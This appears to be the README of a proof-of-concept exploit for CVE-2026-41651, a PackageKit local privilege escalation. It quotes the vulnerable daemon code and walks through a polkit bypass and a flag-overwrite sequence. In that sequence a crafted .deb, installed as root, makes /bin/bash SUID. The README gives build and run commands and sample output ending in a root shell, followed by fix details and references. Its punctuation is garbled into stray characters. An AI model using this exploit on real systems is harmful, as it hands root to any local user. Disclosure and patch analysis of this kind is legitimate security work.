Share
## https://sploitus.com/exploit?id=A702F200-28D8-5BE1-A7FB-F5A36FA7E0FA
# CVE-2026-41651 โ PackageKit Local Privilege Escalation
> **pack2theroot** โ TOCTOU race condition in PackageKit's transaction handler allowing any local unprivileged user to install arbitrary packages as root without authentication.




---
## Overview
| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-41651 |
| **Component** | PackageKit daemon (`packagekitd`) |
| **Affected versions** | 1.0.2 โ 1.3.4 |
| **Fixed in** | 1.3.5 |
| **Impact** | Local Privilege Escalation โ root |
| **Auth required** | None |
| **User interaction** | None |
| **Tested on** | Ubuntu 24.04, Debian 12 |
---
## Vulnerability
Three cooperating bugs in `src/pk-transaction.c` create a TOCTOU window between authorization and execution of a PackageKit transaction.
### Bug 1 โ Unconditional flag overwrite (line 4036)
`InstallFiles()` writes the caller-supplied flags directly to `transaction->cached_transaction_flags` with no check on the current transaction state:
```c
/* save so we can run later */
transaction->cached_transaction_flags = transaction_flags; // โ BUG 1
transaction->cached_full_paths = g_strdupv (full_paths);
```
### Bug 2 โ Silent state-transition rejection (lines 876โ881)
`pk_transaction_set_state()` rejects backward transitions silently, leaving the corrupted flags untouched:
```c
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return; // โ BUG 2 โ returns without error, flags already overwritten
}
```
### Bug 3 โ Late flag read (lines 2273โ2277)
`pk_transaction_run()` reads `cached_transaction_flags` at **dispatch time**, not at authorization time:
```c
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags, // โ BUG 3
transaction->cached_full_paths);
break;
```
### Bonus โ SIMULATE bypasses polkit (lines 2893โ2900)
When `PK_TRANSACTION_FLAG_SIMULATE` is set, `pk_transaction_obtain_authorization()` skips the polkit check entirely and transitions directly to `READY`:
```c
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
g_debug ("No authentication required");
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE; // โ no polkit, no password
}
```
---
## Exploit Flow
```
Attacker PackageKit daemon
โ โ
โ CreateTransaction() โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบโ state = NEW
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ InstallFiles(SIMULATE, dummy.deb) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบโ SIMULATE โ polkit bypassed
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ state = READY
โ (reply received) โ g_idle_add(run_idle_cb) โ queued
โ โ
โ InstallFiles(NONE, payload.deb) โ [BUG 1] overwrite flags + paths
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบโ [BUG 2] set_state(WAITING_FOR_AUTH)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ silently rejected
โ (reply received) โ state stays READY
โ โ
โ [GLib idle fires]
โ โ pk_transaction_run()
โ โ [BUG 3] reads NONE + payload.deb
โ โ โ dpkg installs payload as root
โ โ โ postinst: chmod +s /bin/bash
โ โ
โ execv("/tmp/.suid_bash", "-p") โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบ โ
โ # whoami: root โ
```
The attack is **fully deterministic** โ no race to win. The GLib idle callback fires only after all pending D-Bus I/O is processed, so the second `InstallFiles` call is guaranteed to overwrite the flags before dispatch.
---
## Build
**Dependencies:** GLib/GIO development headers (`libglib2.0-dev` on Debian/Ubuntu)
```bash
sudo apt install libglib2.0-dev
make
```
The exploit has **no other external dependencies** โ the malicious `.deb` is assembled in pure C at runtime (ar archive + stored gzip + ustar tar).
---
## Usage
```bash
./cve-2026-41651
```
On success the exploit drops a SUID copy of bash at `/tmp/.suid_bash` and immediately executes it:
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
CVE-2026-41651 โ PackageKit TOCTOU LPE
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[*] Distro type : Debian/Ubuntu (.deb)
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-1234.deb
[+] payload : /tmp/.pk-payload-1234.deb
[*] Transaction : /org/freedesktop/PackageKit/Transaction/1_daa3f4_0
[*] Step 1 : InstallFiles(SIMULATE=0x2, dummy)
[*] Step 2 : InstallFiles(NONE=0x0, payload)
[*] Waiting for dispatch (30 s max)...
[*] Finished (exit=1, 843 ms)
[+] SUCCESS โ root shell via /tmp/.suid_bash -p
bash-5.2# whoami
root
```
---
## Detection
On PackageKit โฅ 1.3.5 the second call is rejected immediately:
```
[-] Target is PATCHED (PackageKit >= 1.3.5)
```
The fix adds a single state guard in `pk_transaction_method_call()` before any action method is dispatched:
```c
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE,
"cannot call %s on transaction %s: already in state %s",
method_name, transaction->tid,
pk_transaction_state_to_string (transaction->state));
return;
}
```
To check if your system is vulnerable:
```bash
pkcon --version # check version
systemctl status packagekit
journalctl -u packagekit --since '5 min ago'
```
---
## References
- [NVD โ CVE-2026-41651](https://nvd.nist.gov/vuln/detail/CVE-2026-41651)
- [GitHub Advisory โ GHSA-f55j-vvr9-69xv](https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv)
- [Telekom Security โ pack2theroot](https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html)
- [Fix commit โ 76cfb675](https://github.com/PackageKit/PackageKit/commit/76cfb675fb31acc3ad5595d4380bfff56d2a8697)
- [OSS-Security announcement](https://lists.freedesktop.org/archives/packagekit/2026-April/026513.html)
---
## Disclaimer
This PoC is provided for educational purposes and authorized security testing only.